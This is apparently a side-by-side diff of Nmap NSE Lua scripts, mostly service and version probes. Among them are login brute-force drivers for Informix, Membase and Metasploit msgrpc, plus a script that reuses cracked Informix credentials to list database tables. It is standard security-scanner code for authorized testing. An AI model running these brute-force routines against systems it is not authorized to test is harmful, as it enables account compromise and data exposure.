stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path) stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, path)
if string.match(data.body, '<QDocRoot version="[^"]+">') then if string.match(data.body, '<QDocRoot version="[^"]+">') then
config_file = data.body config_file = data.body
else else
stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s uses an invalid config file."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
else else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path) stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, path)
return return
end end
-- Extract system info from config file -- Extract system info from config file
stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path) stdnse.print_debug(1, "%s: Extracting system info from %s", SCRIPT_NAME, path)
local vars = { local vars = {
-- System details -- -- System details --
--{"Hostname","hostname"}, --{"Hostname","hostname"},
{"Device Model", "internalModelName"}, {"Device Model", "internalModelName"},
{"Firmware Version","version"}, {"Firmware Version","version"},
{"Firmware Build","build"}, {"Firmware Build","build"},
-- SSL -- -- SSL --
{"Force SSL","forceSSL"}, {"Force SSL","forceSSL"},
{"SSL Port","stunnelPort"}, {"SSL Port","stunnelPort"},
-- Services -- -- Services --
{"WebFS Enabled","webFSEnabled"}, {"WebFS Enabled","webFSEnabled"},
{"Multimedia Station Enabled","QMultimediaEnabled"}, {"Multimedia Station Enabled","QMultimediaEnabled"},
{"Multimedia Station V2 Supported","MSV2Supported"}, {"Multimedia Station V2 Supported","MSV2Supported"},
{"Multimedia Station V2 Web Enabled","MSV2WebEnabled"}, {"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
{"Download Station Enabled","QDownloadEnabled"}, {"Download Station Enabled","QDownloadEnabled"},
{"Network Video Recorder Enabled","NVREnabled"}, {"Network Video Recorder Enabled","NVREnabled"},
{"Web File Manager Enabled","WFM2"}, {"Web File Manager Enabled","WFM2"},
{"QWeb Server Enabled","QWebEnabled"}, {"QWeb Server Enabled","QWebEnabled"},
{"QWeb Server Port","QWebPort"}, {"QWeb Server Port","QWebPort"},
{"Qweb Server SSL Enabled","QWebSSLEnabled"}, {"Qweb Server SSL Enabled","QWebSSLEnabled"},
{"Qweb Server SSL Port","QWebSSLPort"}, {"Qweb Server SSL Port","QWebSSLPort"},
} }
for _, var in ipairs(vars) do for _, var in ipairs(vars) do
local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2])) local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
end end
-- Return results -- Return results
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -33,79 +33,79 @@ local last_len = 0
-- split the output in 50 character length lines -- split the output in 50 character length lines
local function buildOutput(output, w) local function buildOutput(output, w)
local nl local nl
if w:len() == 0 then if w:len() == 0 then
return nil return nil
end end
-- check for duplicates -- check for duplicates
for i,v in ipairs(output) do for i,v in ipairs(output) do
if w == v or w == v:sub(2, v:len()) then if w == v or w == v:sub(2, v:len()) then
return nil return nil
end end
end end
-- format lines -- format lines
if last_len == 0 or last_len + w:len() <= 50 then if last_len == 0 or last_len + w:len() <= 50 then
last_len = last_len + w:len() last_len = last_len + w:len()
nl = '' nl = ''
else else
last_len = 0 last_len = 0
nl = '\n' nl = '\n'
end end
output = output .. (nl .. w) output = output .. (nl .. w)
end end
-- parse all disallowed entries in body and add them to a strbuf -- parse all disallowed entries in body and add them to a strbuf
local function parse_robots(body, output) local function parse_robots(body, output)
for line in body:gmatch("[^\r\n]+") do for line in body:gmatch("[^\r\n]+") do
for w in line:gmatch('[Dd]isallow:%s*(.*)') do for w in line:gmatch('[Dd]isallow:%s*(.*)') do
w = w:gsub("%s*#.*", "") w = w:gsub("%s*#.*", "")
buildOutput(output, w) buildOutput(output, w)
end end
end end
return #output return #output
end end
action = function(host, port) action = function(host, port)
local dis_count, noun local dis_count, noun
local answer = http.get(host, port, "/robots.txt" ) local answer = http.get(host, port, "/robots.txt" )
if answer.status ~= 200 then if answer.status ~= 200 then
return nil return nil
end end
local v_level = nmap.verbosity() + (nmap.debugging()*2) local v_level = nmap.verbosity() + (nmap.debugging()*2)
local output = strbuf.new() local output = strbuf.new()
local detail = 15 local detail = 15
dis_count = parse_robots(answer.body, output) dis_count = parse_robots(answer.body, output)
if dis_count == 0 then if dis_count == 0 then
return return
end end
-- verbose/debug mode, print 50 entries -- verbose/debug mode, print 50 entries
if v_level > 1 and v_level < 5 then if v_level > 1 and v_level < 5 then
detail = 40 detail = 40
-- double debug mode, print everything -- double debug mode, print everything
elseif v_level >= 5 then elseif v_level >= 5 then
detail = dis_count detail = dis_count
end end
-- check we have enough entries -- check we have enough entries
if detail > dis_count then if detail > dis_count then
detail = dis_count detail = dis_count
end end
noun = dis_count == 1 and "entry " or "entries " noun = dis_count == 1 and "entry " or "entries "
local shown = (detail == 0 or detail == dis_count) local shown = (detail == 0 or detail == dis_count)
and "\n" or '(' .. detail .. ' shown)\n' and "\n" or '(' .. detail .. ' shown)\n'
return dis_count .. " disallowed " .. noun .. return dis_count .. " disallowed " .. noun ..
shown .. table.concat(output, ' ', 1, detail) shown .. table.concat(output, ' ', 1, detail)
end end

View File

@@ -24,30 +24,30 @@ categories = {"version"}
portrule = shortport.version_port_or_service(4569, nil, "udp") portrule = shortport.version_port_or_service(4569, nil, "udp")
action = function(host, port) action = function(host, port)
-- see http://www.cornfed.com/iax.pdf for all options. -- see http://www.cornfed.com/iax.pdf for all options.
local poke = string.char(0x80, 0x00, 0x00, 0x00) local poke = string.char(0x80, 0x00, 0x00, 0x00)
poke = poke .. string.char(0x00, 0x00, 0x00, 0x00) poke = poke .. string.char(0x00, 0x00, 0x00, 0x00)
poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e) poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e)
local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000}) local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000})
if not status then if not status then
return return
end end
if (#recv) == 12 then if (#recv) == 12 then
local byte11 = string.format("%02X", string.byte(recv, 11)) local byte11 = string.format("%02X", string.byte(recv, 11))
local byte12 = string.format("%02X", string.byte(recv, 12)) local byte12 = string.format("%02X", string.byte(recv, 12))
-- byte11 must be \x06 IAX Control Frame -- byte11 must be \x06 IAX Control Frame
-- and byte12 must be \x03 or \x04 -- and byte12 must be \x03 or \x04
if ((byte11 == "06") and if ((byte11 == "06") and
(byte12 == ("03" or "04"))) (byte12 == ("03" or "04")))
then then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
port.version.name = "iax2" port.version.name = "iax2"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
end end
end end

View File

@@ -43,75 +43,75 @@ portrule = shortport.port_or_service(1344, "icap")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function parseResponse(resp) local function parseResponse(resp)
if ( not(resp) ) then if ( not(resp) ) then
return return
end end
local resp_p = { header = {}, rawheader = {} } local resp_p = { header = {}, rawheader = {} }
local resp_tbl = stdnse.strsplit("\r?\n", resp) local resp_tbl = stdnse.strsplit("\r?\n", resp)
if ( not(resp_tbl) or #resp_tbl == 0 ) then if ( not(resp_tbl) or #resp_tbl == 0 ) then
stdnse.print_debug(2, "Received an invalid response from server") stdnse.print_debug(2, "Received an invalid response from server")
return return
end end
resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$")) resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
resp_p['status-line'] = resp_tbl[1] resp_p['status-line'] = resp_tbl[1]
for i=2, #resp_tbl do for i=2, #resp_tbl do
local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$") local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
if ( not(key) or not(val) ) then if ( not(key) or not(val) ) then
stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i]) stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i])
else else
resp_p.header[key:lower()] = val resp_p.header[key:lower()] = val
end end
table.insert(resp_p.rawheader, resp_tbl[i]) table.insert(resp_p.rawheader, resp_tbl[i])
end end
return resp_p return resp_p
end end
action = function(host, port) action = function(host, port)
local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" } local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
local headers = {"Service", "ISTag"} local headers = {"Service", "ISTag"}
local probe = { local probe = {
"OPTIONS icap://%s%s ICAP/1.0", "OPTIONS icap://%s%s ICAP/1.0",
"Host: %s", "Host: %s",
"User-Agent: nmap icap-client/0.01", "User-Agent: nmap icap-client/0.01",
"Encapsulated: null-body=0" "Encapsulated: null-body=0"
} }
local hostname = stdnse.get_hostname(host) local hostname = stdnse.get_hostname(host)
local result = {} local result = {}
for _, service in ipairs(services) do for _, service in ipairs(services) do
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname) local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname)
if ( not(socket:send(request)) ) then if ( not(socket:send(request)) ) then
socket:close() socket:close()
return fail("Failed to send request to server") return fail("Failed to send request to server")
end end
local status, resp = socket:receive_buf("\r\n\r\n", false) local status, resp = socket:receive_buf("\r\n\r\n", false)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to receive response from server") return fail("Failed to receive response from server")
end end
local resp_p = parseResponse(resp) local resp_p = parseResponse(resp)
if ( resp_p and resp_p.status == 200 ) then if ( resp_p and resp_p.status == 200 ) then
local result_part = { name = service } local result_part = { name = service }
for _, h in ipairs(headers) do for _, h in ipairs(headers) do
if ( resp_p.header[h:lower()] ) then if ( resp_p.header[h:lower()] ) then
table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()])) table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
end end
end end
table.insert(result, result_part) table.insert(result, result_part)
end end
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -7,7 +7,7 @@ local ike = require "ike"
description=[[ description=[[
Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request. Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request.
]] ]]
@@ -30,94 +30,94 @@ portrule = shortport.port_or_service(500, "isakmp", "udp")
-- Test different methods for getting version -- Test different methods for getting version
-- --
local function get_version(host, port) local function get_version(host, port)
local packet, version, t local packet, version, t
local auth = {"psk", "rsa", "Hybrid", "XAUTH"} local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"} local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
local hash = {"md5", "sha1"} local hash = {"md5", "sha1"}
local group = {"768", "1024", "1536"} local group = {"768", "1024", "1536"}
-- generate transforms -- generate transforms
t = {} t = {}
for h,a in pairs(auth) do for h,a in pairs(auth) do
for i,e in pairs(encryption) do for i,e in pairs(encryption) do
for j,h in pairs(hash) do for j,h in pairs(hash) do
for k,g in pairs(group) do for k,g in pairs(group) do
table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g}); table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
end end
end end
end end
end end
-- try aggressive mode (diffie hellman group 2) -- try aggressive mode (diffie hellman group 2)
local diffie = 2 local diffie = 2
stdnse.print_debug(1, "Sending Aggressive mode packet ...") stdnse.print_debug(1, "Sending Aggressive mode packet ...")
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup') packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
version = ike.send_request(host, port, packet) version = ike.send_request(host, port, packet)
if version.success then if version.success then
return version return version
end end
stdnse.print_debug(1, "Aggressive mode (dh 2) failed") stdnse.print_debug(1, "Aggressive mode (dh 2) failed")
-- try aggressive mode (diffie hellman group 1) -- try aggressive mode (diffie hellman group 1)
diffie = 1 diffie = 1
stdnse.print_debug(1, "Sending Aggressive mode packet ...") stdnse.print_debug(1, "Sending Aggressive mode packet ...")
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup') packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
version = ike.send_request(host, port, packet) version = ike.send_request(host, port, packet)
if version.success then if version.success then
return version return version
end end
stdnse.print_debug(1, "Aggressive mode (dh 1) failed") stdnse.print_debug(1, "Aggressive mode (dh 1) failed")
-- try aggressive mode (diffie hellman group 2, no id) -- try aggressive mode (diffie hellman group 2, no id)
-- some checkpoint devices respond to this -- some checkpoint devices respond to this
local diffie = 2 local diffie = 2
stdnse.print_debug(1, "Sending Aggressive mode packet ...") stdnse.print_debug(1, "Sending Aggressive mode packet ...")
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '') packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
version = ike.send_request(host, port, packet) version = ike.send_request(host, port, packet)
if version.success then if version.success then
return version return version
end end
stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed") stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed")
-- try main mode -- try main mode
stdnse.print_debug(1, "Sending Main mode packet ...") stdnse.print_debug(1, "Sending Main mode packet ...")
packet = ike.request(port.number, port.protocol, 'Main', t, '') packet = ike.request(port.number, port.protocol, 'Main', t, '')
version = ike.send_request(host, port, packet) version = ike.send_request(host, port, packet)
if version.success then if version.success then
return version return version
end end
stdnse.print_debug(1, "Main mode failed") stdnse.print_debug(1, "Main mode failed")
stdnse.print_debug(1, "Version detection not possible") stdnse.print_debug(1, "Version detection not possible")
return false return false
end end
action = function( host, port ) action = function( host, port )
local ike_response = get_version(host, port) local ike_response = get_version(host, port)
if ike_response then if ike_response then
-- Extra information found in the response. Kept for future reference. -- Extra information found in the response. Kept for future reference.
-- local mode = ike_response['mode'] -- local mode = ike_response['mode']
-- local vids = ike_response['vids'] -- local vids = ike_response['vids']
local info = ike_response['info'] local info = ike_response['info']
if info.vendor ~= nil then if info.vendor ~= nil then
port.version.product = info.vendor.vendor port.version.product = info.vendor.vendor
port.version.version = info.vendor.version port.version.version = info.vendor.version
port.version.ostype = info.vendor.ostype port.version.ostype = info.vendor.ostype
port.version.devicetype = info.vendor.devicetype port.version.devicetype = info.vendor.devicetype
table.insert(port.version.cpe, info.vendor.cpe) table.insert(port.version.cpe, info.vendor.cpe)
nmap.set_port_version(host, port, "hardmatched") nmap.set_port_version(host, port, "hardmatched")
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
end end
stdnse.print_debug(1, "Version: %s", port.version.product ) stdnse.print_debug(1, "Version: %s", port.version.product )
return return
end end

View File

@@ -43,69 +43,69 @@ portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "t
Driver = Driver =
{ {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
--- Connects performs protocol negotiation --- Connects performs protocol negotiation
-- --
-- @return true on success, false on failure -- @return true on success, false on failure
connect = function( self ) connect = function( self )
local status, data local status, data
self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" ) self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
status, data = self.helper:Connect() status, data = self.helper:Connect()
if ( not(status) ) then if ( not(status) ) then
return status, data return status, data
end end
return true return true
end, end,
--- Attempts to login to the Informix server --- Attempts to login to the Informix server
-- --
-- @param username string containing the login username -- @param username string containing the login username
-- @param password string containing the login password -- @param password string containing the login password
-- @return status, true on success, false on failure -- @return status, true on success, false on failure
-- @return brute.Error object on failure -- @return brute.Error object on failure
-- brute.Account object on success -- brute.Account object on success
login = function( self, username, password ) login = function( self, username, password )
local status, data = self.helper:Login( username, password, {} ) local status, data = self.helper:Login( username, password, {} )
if ( status ) then if ( status ) then
if ( not(nmap.registry['informix-brute']) ) then if ( not(nmap.registry['informix-brute']) ) then
nmap.registry['informix-brute'] = {} nmap.registry['informix-brute'] = {}
end end
table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } ) table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
-- Check for account locked message -- Check for account locked message
elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
return false, brute.Error:new( data ) return false, brute.Error:new( data )
end, end,
--- Disconnects and terminates the Informix communication --- Disconnects and terminates the Informix communication
disconnect = function( self ) disconnect = function( self )
self.helper:Close() self.helper:Close()
end, end,
} }
action = function(host, port) action = function(host, port)
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -58,63 +58,63 @@ dependencies = { "informix-brute" }
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
action = function( host, port ) action = function( host, port )
local helper local helper
local status, data local status, data
local result, output = {}, {} local result, output = {}, {}
local user = stdnse.get_script_args('informix-tables.username') local user = stdnse.get_script_args('informix-tables.username')
local pass = stdnse.get_script_args('informix-tables.password') or "" local pass = stdnse.get_script_args('informix-tables.password') or ""
local query= [[ local query= [[
SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
FROM "informix".systables st, "informix".syscolumns sc FROM "informix".systables st, "informix".syscolumns sc
WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T' WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
ORDER BY table, column]] ORDER BY table, column]]
local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true } local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
-- If no user was specified lookup the first user in the registry saved by -- If no user was specified lookup the first user in the registry saved by
-- the informix-brute script -- the informix-brute script
if ( not(user) ) then if ( not(user) ) then
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
user = nmap.registry['informix-brute'][1]["username"] user = nmap.registry['informix-brute'][1]["username"]
pass = nmap.registry['informix-brute'][1]["password"] pass = nmap.registry['informix-brute'][1]["password"]
else else
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)" return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
end end
end end
helper = informix.Helper:new( host, port ) helper = informix.Helper:new( host, port )
status, data = helper:Connect() status, data = helper:Connect()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output(status, data) return stdnse.format_output(status, data)
end end
status, data = helper:Login(user, pass) status, data = helper:Login(user, pass)
if ( not(status) ) then return stdnse.format_output(status, data) end if ( not(status) ) then return stdnse.format_output(status, data) end
local databases local databases
status, databases = helper:GetDatabases() status, databases = helper:GetDatabases()
if ( not(status) ) then if ( not(status) ) then
return " \n ERROR: Failed to retrieve a list of databases" return " \n ERROR: Failed to retrieve a list of databases"
end end
for _, db in ipairs(databases) do for _, db in ipairs(databases) do
if ( not( excluded_dbs[db] ) ) then if ( not( excluded_dbs[db] ) ) then
status, data = helper:OpenDatabase(db) status, data = helper:OpenDatabase(db)
if ( not(status) ) then return stdnse.format_output(status, data) end if ( not(status) ) then return stdnse.format_output(status, data) end
status, data = helper:Query( query ) status, data = helper:Query( query )
if ( not(status) ) then return stdnse.format_output(status, data) end if ( not(status) ) then return stdnse.format_output(status, data) end
if ( status ) then if ( status ) then
data = informix.Util.formatTable( data[1] ) data = informix.Util.formatTable( data[1] )
data.name = "Results" data.name = "Results"
table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } ) table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
table.insert(result, data ) table.insert(result, data )
end end
break break
end end
end end
helper:Close() helper:Close()
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -37,33 +37,33 @@ local arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..".bucketname")
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, port = port, options = options } local o = { host = host, port = port, options = options }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
self.helper = membase.Helper:new(self.host, self.port) self.helper = membase.Helper:new(self.host, self.port)
return self.helper:connect() return self.helper:connect()
end, end,
login = function(self, username, password) login = function(self, username, password)
local status, response = self.helper:login(arg_bucketname or username, password) local status, response = self.helper:login(arg_bucketname or username, password)
if ( not(status) and "Auth failure" == response ) then if ( not(status) and "Auth failure" == response ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
elseif ( not(status) ) then elseif ( not(status) ) then
local err = brute.Error:new( response ) local err = brute.Error:new( response )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID) return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID)
end, end,
disconnect = function(self) disconnect = function(self)
return self.helper:close() return self.helper:close()
end end
} }
@@ -71,43 +71,43 @@ Driver = {
local function fail(err) return ("\n ERROR: %s"):format(err) end local function fail(err) return ("\n ERROR: %s"):format(err) end
local function getMechs(host, port) local function getMechs(host, port)
local helper = membase.Helper:new(host, port) local helper = membase.Helper:new(host, port)
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
local status, response = helper:getSASLMechList() local status, response = helper:getSASLMechList()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response) stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response)
return false, "Received unexpected response" return false, "Received unexpected response"
end end
helper:close() helper:close()
return true, response.mechs return true, response.mechs
end end
action = function(host, port) action = function(host, port)
local status, mechs = getMechs(host, port) local status, mechs = getMechs(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail(mechs) return fail(mechs)
end end
if ( not(mechs:match("PLAIN") ) ) then if ( not(mechs:match("PLAIN") ) ) then
return fail("Unsupported SASL mechanism") return fail("Unsupported SASL mechanism")
end end
local result local result
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
if ( arg_bucketname ) then if ( arg_bucketname ) then
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
end end
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -39,91 +39,91 @@ portrule = shortport.port_or_service(11211, "memcached", "tcp")
local filter = { local filter = {
["pid"] = { name = "Process ID" }, ["pid"] = { name = "Process ID" },
["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end }, ["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
["time"] = { name = "Server time", func = stdnse.format_timestamp }, ["time"] = { name = "Server time", func = stdnse.format_timestamp },
["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end }, ["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
["rusage_user"] = { name = "Used CPU (user)" }, ["rusage_user"] = { name = "Used CPU (user)" },
["rusage_system"] = { name = "Used CPU (system)"}, ["rusage_system"] = { name = "Used CPU (system)"},
["curr_connections"] = { name = "Current connections"}, ["curr_connections"] = { name = "Current connections"},
["total_connections"] = { name = "Total connections"}, ["total_connections"] = { name = "Total connections"},
["maxconns"] = { name = "Maximum connections" }, ["maxconns"] = { name = "Maximum connections" },
["tcpport"] = { name = "TCP Port" }, ["tcpport"] = { name = "TCP Port" },
["udpport"] = { name = "UDP Port" }, ["udpport"] = { name = "UDP Port" },
["auth_enabled_sasl"] = { name = "Authentication" } ["auth_enabled_sasl"] = { name = "Authentication" }
} }
local order = { local order = {
"pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system", "pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
"curr_connections", "total_connections", "maxconns", "tcpport", "udpport", "curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
"auth_enabled_sasl" "auth_enabled_sasl"
} }
local function fail(err) return ("\n ERROR: %s"):format(err) end local function fail(err) return ("\n ERROR: %s"):format(err) end
local function mergetab(tab1, tab2) local function mergetab(tab1, tab2)
for k, v in pairs(tab2) do for k, v in pairs(tab2) do
tab1[k] = v tab1[k] = v
end end
return tab1 return tab1
end end
local function recvResponse(socket) local function recvResponse(socket)
local kvs = {} local kvs = {}
repeat repeat
local status, response = socket:receive_buf("\r\n", false) local status, response = socket:receive_buf("\r\n", false)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
end end
local k,v = response:match("^STAT ([^%s]*) (.*)$") local k,v = response:match("^STAT ([^%s]*) (.*)$")
if ( k and v ) then if ( k and v ) then
kvs[k] = v kvs[k] = v
end end
until ( "END" == response or "ERROR" == response ) until ( "END" == response or "ERROR" == response )
return true, kvs return true, kvs
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(10000) socket:set_timeout(10000)
local status = socket:connect(host, port) local status = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
status = socket:send("stats\r\n") status = socket:send("stats\r\n")
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to send request to server") return fail("Failed to send request to server")
end end
local status, kvs = recvResponse(socket) local status, kvs = recvResponse(socket)
if( not(status) ) then if( not(status) ) then
return fail(kvs) return fail(kvs)
end end
status = socket:send("stats settings\r\n") status = socket:send("stats settings\r\n")
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to send request to server") return fail("Failed to send request to server")
end end
local status, kvs2 = recvResponse(socket) local status, kvs2 = recvResponse(socket)
if( not(status) ) then if( not(status) ) then
return fail(kvs2) return fail(kvs2)
end end
kvs = mergetab(kvs, kvs2) kvs = mergetab(kvs, kvs2)
local result = tab.new(2) local result = tab.new(2)
for _, item in ipairs(order) do for _, item in ipairs(order) do
if ( kvs[item] ) then if ( kvs[item] ) then
local name = filter[item].name local name = filter[item].name
local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] ) local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
tab.addrow(result, name, val) tab.addrow(result, name, val)
end end
end end
return stdnse.format_output(true, tab.dump(result)) return stdnse.format_output(true, tab.dump(result))
end end

View File

@@ -41,77 +41,77 @@ portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
-- simple function that implements basic msgpack encoding we need for this script -- simple function that implements basic msgpack encoding we need for this script
-- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more -- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more
local encode = function(username, password) local encode = function(username, password)
local method = "auth.login" local method = "auth.login"
local username_prefix local username_prefix
local password_prefix local password_prefix
if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw
username_prefix = bin.pack("C",0xa0 + string.len(username)) username_prefix = bin.pack("C",0xa0 + string.len(username))
else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16 else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16
username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username)) username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username))
end end
if string.len(password) <= 31 then if string.len(password) <= 31 then
password_prefix = bin.pack("C",0xa0 + string.len(password)) password_prefix = bin.pack("C",0xa0 + string.len(password))
else else
password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password)) password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password))
end end
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password
end end
Driver = { Driver = {
